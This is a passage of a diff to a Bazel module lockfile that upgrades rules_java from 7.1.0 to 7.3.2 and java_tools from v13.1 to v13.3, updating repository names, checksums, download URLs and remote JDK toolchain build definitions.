[\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 21,\n)\n", "sha256": "1fb64b8036c5d463d8ab59af06bf5b6b006811e6012e3b0eb6bccf57f1c55835", "strip_prefix": "zulu21.28.85-ca-jdk21.0.0-linux_aarch64", @@ -1064,10 +1427,10 @@ } }, "remotejdk11_linux_aarch64_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk11_linux_aarch64_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk11_linux_aarch64_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_11\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"11\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:aarch64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk11_linux_aarch64//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:aarch64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk11_linux_aarch64//:jdk\",\n)\n" } }, @@ -1075,7 +1438,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk11_linux_s390x", + "name": "rules_java~7.3.2~toolchains~remotejdk11_linux_s390x", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 11,\n)\n", "sha256": "a58fc0361966af0a5d5a31a2d8a208e3c9bb0f54f345596fd80b99ea9a39788b", "strip_prefix": "jdk-11.0.15+10", @@ -1089,7 +1452,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk17_linux_aarch64", + "name": "rules_java~7.3.2~toolchains~remotejdk17_linux_aarch64", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 17,\n)\n", "sha256": "6531cef61e416d5a7b691555c8cf2bdff689201b8a001ff45ab6740062b44313", "strip_prefix": "zulu17.44.53-ca-jdk17.0.8.1-linux_aarch64", @@ -1100,10 +1463,10 @@ } }, "remotejdk17_win_arm64_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk17_win_arm64_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk17_win_arm64_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_17\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"17\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:windows\", \"@platforms//cpu:arm64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk17_win_arm64//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:windows\", \"@platforms//cpu:arm64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk17_win_arm64//:jdk\",\n)\n" } }, @@ -1111,7 +1474,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk11_linux", + "name": "rules_java~7.3.2~toolchains~remotejdk11_linux", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 11,\n)\n", "sha256": "a34b404f87a08a61148b38e1416d837189e1df7a040d949e743633daf4695a3c", "strip_prefix": "zulu11.66.15-ca-jdk11.0.20-linux_x64", @@ -1122,18 +1485,18 @@ } }, "remotejdk11_macos_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk11_macos_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk11_macos_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_11\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"11\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:macos\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk11_macos//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:macos\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk11_macos//:jdk\",\n)\n" } }, "remotejdk17_linux_ppc64le_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk17_linux_ppc64le_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk17_linux_ppc64le_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_17\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"17\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:ppc\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk17_linux_ppc64le//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:ppc\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk17_linux_ppc64le//:jdk\",\n)\n" } }, @@ -1141,7 +1504,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk17_win_arm64", + "name": "rules_java~7.3.2~toolchains~remotejdk17_win_arm64", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 17,\n)\n", "sha256": "6802c99eae0d788e21f52d03cab2e2b3bf42bc334ca03cbf19f71eb70ee19f85", "strip_prefix": "zulu17.44.53-ca-jdk17.0.8.1-win_aarch64", @@ -1155,11 +1518,11 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remote_java_tools_darwin_arm64", - "sha256": "dab5bb87ec43e980faea6e1cec14bafb217b8e2f5346f53aa784fd715929a930", + "name": "rules_java~7.3.2~toolchains~remote_java_tools_darwin_arm64", + "sha256": "276bb552ee03341f93c0c218343295f60241fe1d32dccd97df89319c510c19a1", "urls": [ - "https://mirror.bazel.build/bazel_java_tools/releases/java/v13.1/java_tools_darwin_arm64-v13.1.zip", - "https://github.com/bazelbuild/java_tools/releases/download/java_v13.1/java_tools_darwin_arm64-v13.1.zip" + "https://mirror.bazel.build/bazel_java_tools/releases/java/v13.3/java_tools_darwin_arm64-v13.3.zip", + "https://github.com/bazelbuild/java_tools/releases/download/java_v13.3/java_tools_darwin_arm64-v13.3.zip" ] } }, @@ -1167,7 +1530,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk17_linux_ppc64le", + "name": "rules_java~7.3.2~toolchains~remotejdk17_linux_ppc64le", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 17,\n)\n", "sha256": "00a4c07603d0218cd678461b5b3b7e25b3253102da4022d31fc35907f21a2efd", "strip_prefix": "jdk-17.0.8.1+1", @@ -1178,26 +1541,26 @@ } }, "remotejdk21_linux_aarch64_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk21_linux_aarch64_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk21_linux_aarch64_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_21\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"21\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:aarch64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk21_linux_aarch64//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:aarch64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk21_linux_aarch64//:jdk\",\n)\n" } }, "remotejdk11_win_arm64_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk11_win_arm64_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk11_win_arm64_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_11\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"11\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:windows\", \"@platforms//cpu:arm64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk11_win_arm64//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:windows\", \"@platforms//cpu:arm64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk11_win_arm64//:jdk\",\n)\n" } }, "local_jdk": { - "bzlFile": "@@rules_java~7.1.0//toolchains:local_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:local_java_repository.bzl", "ruleClassName": "_local_java_repository_rule", "attributes": { - "name": "rules_java~7.1.0~toolchains~local_jdk", + "name": "rules_java~7.3.2~toolchains~local_jdk", "java_home": "", "version": "", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = {RUNTIME_VERSION},\n)\n" @@ -1207,11 +1570,11 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remote_java_tools_darwin_x86_64", - "sha256": "0db40d8505a2b65ef0ed46e4256757807db8162f7acff16225be57c1d5726dbc", + "name": "rules_java~7.3.2~toolchains~remote_java_tools_darwin_x86_64", + "sha256": "55bd36bf2fad897d9107145f81e20a549a37e4d9d4c447b6915634984aa9f576", "urls": [ - "https://mirror.bazel.build/bazel_java_tools/releases/java/v13.1/java_tools_darwin_x86_64-v13.1.zip", - "https://github.com/bazelbuild/java_tools/releases/download/java_v13.1/java_tools_darwin_x86_64-v13.1.zip" + "https://mirror.bazel.build/bazel_java_tools/releases/java/v13.3/java_tools_darwin_x86_64-v13.3.zip", + "https://github.com/bazelbuild/java_tools/releases/download/java_v13.3/java_tools_darwin_x86_64-v13.3.zip" ] } }, @@ -1219,11 +1582,11 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remote_java_tools", - "sha256": "286bdbbd66e616fc4ed3f90101418729a73baa7e8c23a98ffbef558f74c0ad14", + "name": "rules_java~7.3.2~toolchains~remote_java_tools", + "sha256": "30a7d845bec3dd054ac45b5546c2fdf1922c0b1040b2a13b261fcc2e2d63a2f4", "urls": [ - "https://mirror.bazel.build/bazel_java_tools/releases/java/v13.1/java_tools-v13.1.zip", - "https://github.com/bazelbuild/java_tools/releases/download/java_v13.1/java_tools-v13.1.zip" + "https://mirror.bazel.build/bazel_java_tools/releases/java/v13.3/java_tools-v13.3.zip", + "https://github.com/bazelbuild/java_tools/releases/download/java_v13.3/java_tools-v13.3.zip" ] } }, @@ -1231,7 +1594,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk17_linux_s390x", + "name": "rules_java~7.3.2~toolchains~remotejdk17_linux_s390x", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n 